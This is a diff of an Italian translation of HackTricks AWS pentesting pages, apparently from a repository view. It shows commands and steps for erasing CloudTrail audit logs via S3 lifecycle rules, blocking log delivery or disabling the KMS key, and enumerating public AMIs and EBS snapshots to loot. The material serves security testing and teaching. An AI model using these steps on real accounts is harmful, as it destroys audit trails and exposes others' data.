Nel primo esempio, viene fornito un selettore di eventi singolo come un array JSON con un singolo oggetto. Il `"ReadWriteType": "ReadOnly"` indica che il **selettore di eventi dovrebbe catturare solo eventi di sola lettura** (quindi CloudTrail insights **non controllerà eventi di scrittura** ad esempio).
|
||||
|
||||
Puoi personalizzare il selettore di eventi in base alle tue esigenze specifiche.
|
||||
|
||||
#### Cancellazione dei log tramite la politica di ciclo di vita S3
|
||||
#### Cancellazione dei log tramite la policy di lifecycle di S3
|
||||
```bash
|
||||
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
|
||||
```
|
||||
### Modifica della Configurazione del Bucket
|
||||
### Modificare la Configurazione del Bucket
|
||||
|
||||
- Elimina il bucket S3
|
||||
- Cambia la policy del bucket per negare qualsiasi scrittura dal servizio CloudTrail
|
||||
- Aggiungi una policy di lifecycle al bucket S3 per eliminare gli oggetti
|
||||
- Disabilita la chiave kms utilizzata per crittografare i log di CloudTrail
|
||||
- Eliminare il bucket S3
|
||||
- Modificare la policy del bucket per negare qualsiasi scrittura dal servizio CloudTrail
|
||||
- Aggiungere una policy di lifecycle al bucket S3 per eliminare gli oggetti
|
||||
- Disabilitare la chiave kms utilizzata per crittografare i log di CloudTrail
|
||||
|
||||
### Ransomware Cloudtrail
|
||||
|
||||
|
||||
@@ -17,7 +17,7 @@ Controlla in questa pagina ulteriori informazioni su questo:
|
||||
#### SSRF
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
### AMI Pubbliche e Snapshot EBS
|
||||
@@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo
|
||||
aws ec2 describe-snapshots --restorable-by-user-ids all
|
||||
aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
|
||||
```
|
||||
Se trovi uno snapshot che è ripristinabile da chiunque, assicurati di controllare [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) per le istruzioni su come scaricare e saccheggiare lo snapshot.
|
||||
Se trovi uno snapshot che può essere ripristinato da chiunque, assicurati di controllare [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) per le istruzioni su come scaricare e saccheggiare lo snapshot.
|
||||
|
||||
#### Modello di URL pubblico
|
||||
```bash
|
||||
|
||||
Reference in New Issue
Block a user